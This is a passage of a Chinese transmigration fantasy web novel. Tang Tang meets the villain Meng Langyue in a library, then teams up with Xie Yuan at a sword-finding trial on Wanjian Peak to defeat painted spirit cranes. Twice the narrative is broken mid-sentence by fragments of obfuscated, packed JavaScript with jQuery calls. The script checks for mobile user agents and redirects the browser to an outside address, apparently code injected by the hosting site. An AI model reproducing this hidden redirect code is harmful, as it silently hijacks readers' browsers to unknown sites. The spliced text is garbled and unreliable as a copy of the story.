见谢渊脸上笑意难掩得意,唐棠合了书,两手撑在脸颊两侧,正对着谢渊,眼睛一眨一眨的,无辜道:“可我看书上说要想彻底杀了那只大妖须得找到开山之祖的凌霄剑呀?师尊她什么时候拿到了凌霄剑?” 闻言,谢渊低下头沉思,书上的确提过唯有凌霄剑才能彻底斩杀大妖,但谢寒霜并未拿到凌霄剑。 唐棠见谢渊一副吃瘪的模样,忍不住在心底偷笑。 跟我比剧情熟悉度?哼—— 原著中,真正找到凌霄剑的是谢渊,只不过这段剧情还很遥远,当下的谢渊对此还一无所知。 一阵你来我往的“缠斗”结束,唐棠摸了摸肚子,道:“我饿了,谢渊。你还要多久才能抄完?” “还差一些。” 谢渊抬头看了眼窗外的天色,残阳渐落。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362692|183764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这个时间膳堂都快关门了。 “你先去吃——” 谢渊话未说完,就被唐棠打断,趴在谢渊桌案对面,道:“我想吃膳堂的烤包子!剩下的我来抄,你去帮我带两个包子,好不好?” 唐棠心思飞转,膳堂离凌霄宗主峰远的要命,她可不想来回跑两趟。 谢渊没有犹豫便答应下来了。 唐棠一边哼着不着调的歌,一边抄写剩下的宗门律法。 晚霞落下,夜幕降临。 书阁外挂着的咒言铃忽然很轻地响了一声,复又归于平静。 “吱呀——” 书阁门被推开,唐棠揉着眼睛从桌上爬起来,抱怨道:“你好慢啊,谢渊……” 无人应声,来人静静地站在门口,唐棠忽然觉察不对劲,她看不清门口之人的模样,那人掩在阴影中,月光只照拂在他的衣摆之下。 唐棠瞥见他的衣摆,白底金边,是凌霄宗的弟子服。 自打她认识谢渊以来,从未见其穿过弟子服。 所以眼前之人绝不是谢渊,那会是谁呢?这么晚来书阁做什么? 一时间,唐棠紧张地双手握拳,不敢有所动作。 阴影中的那人忽然轻轻笑了一声,然后自黑暗中走出,眉目俊朗面容精致,月色落在他双眸中,显得破碎又让人爱怜。 “我认得你。”少年声音清朗柔和,唇角挂着浅浅笑意,“你是唐棠,秘境夺魁者。” 听其言语似乎是同届弟子,但唐棠确信他从未见过此人,不论是秘境还是学舍。 “你是谁?”唐棠强迫自己冷静下来,但开口时声音还是难掩颤抖。 “在下孟琅月。” “孟琅月”三个字一出,唐棠脑中“嗡——”的一声,猛然间想起那日与谢渊清点弟子名册中消失的那名弟子,正是眼前之人。 这、这不是书中的反派吗?! 孟琅月和唐棠一样,是来参加凌霄宗弟子招新大会的,只不过在入学舍当晚就被宗主孟虞带走,因此并未参加秘境试炼和学舍修行。 唐棠心中暗骂自己真是个金鱼脑!这么重要的事都能忘! 明日是万剑峰试炼,本届入门弟子皆要参加,孟琅月也逃不过,他来此是为了查证一事,只是没想到这么晚了,书阁中还会有其他人。 唐棠犹豫之时,忽然听见门外传来一阵脚步声。 谢渊回来了!唐棠心中暗叫不好,立即起身跑向门口,将站在门口的孟琅月一把推开,打开门,走了出去。 谢渊可不能在此时与孟琅月会面。 唐棠脊背被冷汗浸湿,衣物紧紧贴在她后背。 “唐棠?”谢渊拿着包子出现时,看见唐棠一脸紧张地站在书阁门口,不解道:“你怎么在门口?发生了什么吗?” “我、我……你来的太慢了!我等不及,就想去找你!” 唐棠拦下谢渊要推开门的手,将人拉走,“我、我们赶紧回去吧,明日还要去万剑峰参加试炼呢。” 谢渊被唐棠半推半就地拽离书阁,侧首时忽然瞥见书阁窗边一闪而过的黑影。 11. 万剑 回程的路上,唐棠一边咬着包子,一边回想着原著中孟琅月的相关剧情。 谢渊走在唐棠身侧,垂首看着她,道:“烤包子没有了,我就拿了豆沙馅的包子。” “嗯……” 唐棠有些食不知味地应了声。 现在出现在凌霄宗的孟琅月应该是失去记忆的,来凌霄宗的目的就是为了找回自己的记忆。 十年前,凌霄宗发生了一场死伤惨重的恶战,宗门险些覆灭,前任宗主为保护凌霄宗弟子惨死,谢寒霜当年也参与其中。 所有人都误以为是千年之期已至,封印松动导致大妖逃出。 可事实上十年前那场恶战,并非大妖冲破了封印,这一切的罪魁祸首,正是孟琅月。 只不过此事凌霄宗的众人还尚未可知,等到下山历练时正式开启了原著的主线故事,一切才会水落石出。 唐棠看了眼谢渊,有些犹豫如果此时将她知道的所有事提前告诉谢渊,会不会引发什么不可控的危险。 谢渊注意到了唐棠的视线,侧首垂眸,道:“怎么了?” 唐棠一惊,挪开了视线,“没、没事……” 谢渊回了无忧峰的柴房,唐棠独自一人行至谢寒霜寝殿外,正打算悄悄溜回自己的房间,忽然听见谢寒霜清冷的声音:“回来了?” 寝殿门随即被打开,谢寒霜站在门口。 唐棠暗自叹了口气,认命道:“是……” 想起前几日被禁足却擅自偷跑出去一事,想必谢寒霜此时是来问罪的。 还是逃不过被审判的命运啊…… 唐棠忍不住在心中叹惋,却听谢寒霜道:“明日是万剑峰试炼之日?” “……嗯。”唐棠怔愣间点了点头。 谢寒霜微微仰首,将手中的剑递了过来。 朝露。 前些日子被禁足,谢寒霜就将朝露剑收了回去,没想到还会再给她。 “朝露赠于你,明日试炼不必去了。” 谢寒霜声音里不带任何情绪,让人听不出她此刻是高兴还是生气。 为、为什么?!唐棠大惊,她还想去万剑峰一睹自家好大儿的风采呢! “可是本届入门弟子不都要去万剑峰寻找本命剑吗?”唐棠不解道。 “我会告知万剑峰峰主,你不必去了。” 一双杏眸眨了眨,唐棠小心翼翼地蹭到谢寒霜身侧,拉了拉谢寒霜的衣角,撒娇道:“师尊,我想去……” 谢寒霜撤回被唐棠拽着的衣角,漠然收了朝露剑,淡淡道:“你可想清楚了,万剑峰上的剑可比不上我手中这一柄。” “那是当然~”唐棠眉眼弯弯,笑道:“万剑峰上的剑自然比不过师尊手上这柄——” 正欲好好夸赞一番朝露剑,却被谢寒霜打断道:“奉承的话不必说了,你若想去便去。” 话音落下,谢寒霜转身回了寝殿。 这算是同意她去万剑峰了吗?应该……算吧? 唐棠悻悻地摸了摸鼻子,转身回了自己的房间。 开门时听见谢寒霜的声音传来,“尽力即可,不要逞强。” 唐棠一愣,反应过来时立马笑着回应道:“知道啦~” * 次日清早。 万剑峰上人头攒动,峰主未至,聚集在一起的弟子们你一言我一语,聊个没完。 “我听说万剑峰上有不少前辈留下的灵剑,开山之祖的凌霄剑说不定也在这山上!” “凌霄剑也在万剑峰?真的假的?!” 有人呲笑道:“你开什么玩笑?开山之祖的凌霄剑自千年前遗失后就在无人再见过……” 凌霄剑的确失去踪迹近千年,而未来找到凌霄剑的人就站在唐棠身侧,脊背直挺,神情平静,对周围叽叽喳喳的喧闹声没有丝毫反应。 唐棠微微侧首,看了眼身侧站得笔直的谢渊。 今日倒是换上了凌霄宗的弟子服,还是第一次见他穿。 宽肩窄腰,袖口紧束,长发也高高束起,整个人看起来潇洒利落,不像是干刚入门的弟子,倒像是某位峰主门下的亲传弟子。 唐棠正想开口问他今日怎么换下了那身破旧的粗布黑衣,却见人群忽然安静了下来。 只见一人乘风御剑而来,自高处落下,稳稳当当地踩到地面上。 来人年纪稍长,鬓发微白,人却丝毫不显颓意,正是万剑峰峰主,陆霆风。 “人齐了吗?”陆霆风沉声道。 其门下弟子回身行礼,道:“禀峰主,本届入门弟子皆已到齐。” 陆霆风颔首,道:“今日是万剑峰试炼之日,此峰上灵剑无数,皆无高低品阶之分,以弟子剑为引,即可找寻到属于各位的本命剑。” 话毕,陆霆风看向了身侧的弟子,微微抬首道:“演示吧,怀安。” “是。”乐怀安行礼后转向众人,笑道:“诸位——” “我的本命剑如今就在此峰上。” 乐怀安边讲边捏诀,指尖灵流闪过,手中的弟子剑飞出,转瞬便消失不见了。 “以灵力御剑,它会带各位找到最适合你们的本命剑。” 话音落下,乐怀安已然向弟子剑飞出的方向追了上去。 众人见状,也赶忙捏诀起誓,无数柄弟子剑应声飞出,如同漫天剑雨,一时间虹光四射,紧接着无数道身影飞出,各自追随着自己的弟子剑四散而去。 唐棠正回味着师兄的话,身边一瞬间消失了大半人影,慌忙间,唐棠赶紧随着众人一同御剑。 弟子剑还是自她入门以来第一次摸到,较之朝露剑重量上沉了不少,因此御剑也困难了些。 只见她手中的弟子剑以极其缓慢的速度歪歪扭扭飞出了数米远,然后“哐啷——”一声,一头栽向地面。 “……”我现在回去向师尊讨要朝露剑还来得及吗? 谢渊注意到了唐棠,顿下脚步问道:“怎么了?” 唐棠一惊,将弟子剑藏于身后,尴尬道:“没、没事!” 谢渊弟子剑已然飞远,见唐棠无事,便点了点头,转身向弟子剑飞走的方向行去。 万剑峰地势陡峭,峰上的人极少步行,多数时候是御剑而飞。 只是眼下要以弟子剑为引找到本命剑,众人不得不徒步而行。 唐棠跟着谢渊一路走来,体力已然到达了极限,落在后方不远处,正想开口喊住谢渊,却见他忽然顿住了脚步,仰首望向天空。 空中传来几道清亮高亢的鹤鸣声,唐棠顺着谢渊的视线看去,只见空中飞旋着几只体型修长的白鹤,黑白两色十分惹眼,那几只白鹤首尾相连,将谢渊的剑团团围住。 弟子剑停滞在空中不得前行,发出阵阵嗡鸣声,谢渊无奈召回了自己的弟子剑,却见那几只白鹤猛然间回首看向他,本该是黑白分明的眼眶中却是一片惨白,不见黑色的瞳仁。 弟子剑已然飞回谢渊手中,几只白鹤见状仰天长啸,随着鹤鸣声落下,白鹤猛然俯冲向谢渊,尖利的喙险些划破他的衣袖,谢渊一个侧身翻滚,堪堪躲开了白鹤的攻击。 那几只白鹤孤立于松石上,模样相似形态却各异,如同画中的景物一般。 可那几双没有瞳孔的眼白却仿佛死死盯着某处,让人毛骨悚然。 “点睛术……?” 谢渊语气间有些怀疑,手中握紧了弟子剑,已然进入了戒备状态。 点睛术是一种低阶术法,可以使画布上的事物活过来。 普通弟子修行数月也能掌握,但这种术法施展时要求却极为严苛,其一被施法对象必须是活物,像是山石一类的死物便不能使用;其二也是至关重要的一环,须在画作完成之时再替其点上黑色瞳仁。 如此,画中之物才能活过来。 但眼前这几只白鹤没有一个处于被“点睛”的状态,俨然不太符合书中所讲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362693|183764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 谢渊握着剑,有些犹豫不知是否该出手。 “应该是点睛术。” 唐棠一开口,谢渊便看了过来,二人一对视,唐棠点头道:“此物大概出自万剑峰峰主之手,所以即便没有‘点睛’这一环节依然能够活过来,大抵是试炼的一环。” 实际上,唐棠很清楚这几只白鹤就是陆霆风的手笔,话语间满是猜测之意,无非不想引得谢渊怀疑。 几只白鹤如寒月孤松般傲然立于石上,拦住了二人的去路,却始终没有下一步动作。 此山上除过这几只白鹤,还有不少未点睛的“画灵”,分散在各处阻拦弟子们寻找本命剑。 唐棠话音刚落,就看见谢渊拿出了几张符箓,上面繁复的咒文只消看一眼,唐棠便知晓是明火符。 对付画灵,绝不能简单的依靠蛮力,否则一分二,二生四,顷刻间便会再生出无数相同模样的画灵,不消片刻,便会力竭,无法再战。 陆霆风此举便是考验弟子们能否识别出点睛术,他刻意留下瞳仁未点,便是破绽之一。 唐棠也同样拿出了明火符,二人视线相接,默契地拔剑出手,一同斩向那几只白鹤。 一声鹤鸣,几只白鹤振翅起飞,冲二人而来,长长的喙咬住刺来的剑锋。 唐棠眼睛一亮,心道:咬得好! 另一只手绕过其腹部,猛地将明火符贴上去,随即立刻弃剑而逃,闪出数米远。 “嘭——” 随着一道似银铃般轻脆明亮的声音落下,几只白鹤瞬间便炸开,火光飞溅,唐棠同谢渊躲在石后,眼看着几只白鹤化作纸上的死物,被明亮的火光烧的干干净净,徒留一地灰烬。 唐棠侧首,笑得可爱,扬起手等着谢渊和他击掌。 谢渊微微蹙眉,不解其意。 “笨!”唐棠啧了一声,握住谢渊手腕,强迫他与自己击掌,笑道:“配合不错!撒花~” 谢渊看着自己的手掌,一副更加迷茫的模样,“撒……花?什么意思?” 唐棠抠了抠脸,一时不知怎么解释,“反正、就是……就是开心的意思!” 朗朗清风吹拂而过,陆霆风端坐于万剑峰的一侧悬崖边,正闭目养神,忽然觉察到白鹤已消散,睁开了眼。 他笔下的画灵绝非灵智未开之物,若是直接拿着明火符冲上去,画灵自然会避开,而这两个小弟子以剑为诱,引白鹤上钩,后用明火符,一番行云流水的招数,让他笔下的画灵都来不及反应。 剑在明,符在暗。 陆霆风端起桌案上的热茶抿了一口,轻笑了声,叹道:“倒是聪明。” * “你不去找自己的本命剑吗?”谢渊缓了口气,道。 闻言,唐棠低下了头,不好意思地捏着衣角,小声道:“弟子剑太沉了……我御不起来……” 言罢,唐棠抬头,一双小鹿似的双眸望着谢渊一眨一眨的,柔声道:“我能先跟着你走吗?” 谢渊侧首避开了唐棠的视线,轻咳了声,“嗯。” 唐棠同谢渊一同行至了人迹罕至处,这次谢渊放慢了脚步,刻意等了等唐棠。 饶是如此,唐棠走到了地方还是一股脑找了个干净的地方躺下,整个人累到不行,“我真的……一步都走不动了……” 谢渊的弟子剑悬停在一处崖壁前,四周空无一物,弟子剑的剑锋直指着乱石嶙峋的崖壁,像是在告知谢渊剑就在崖壁内。 “不用走了。”谢渊收回了弟子剑,走到唐棠身侧,半跪下来,低声道:“到了。” 唐棠从靠着的石头上起身,看见了被石块封堵的崖壁,正想让谢渊用爆破符炸开,却见不远处急速飞来的几张爆破符。 符箓贴在崖壁上,随着一声清亮的嗓音,“破——” 爆破符应声炸开,碎裂的石块四散飞去,幸而唐棠与谢渊一同躲在一处巨石后,这才避免了被飞出的碎石伤及。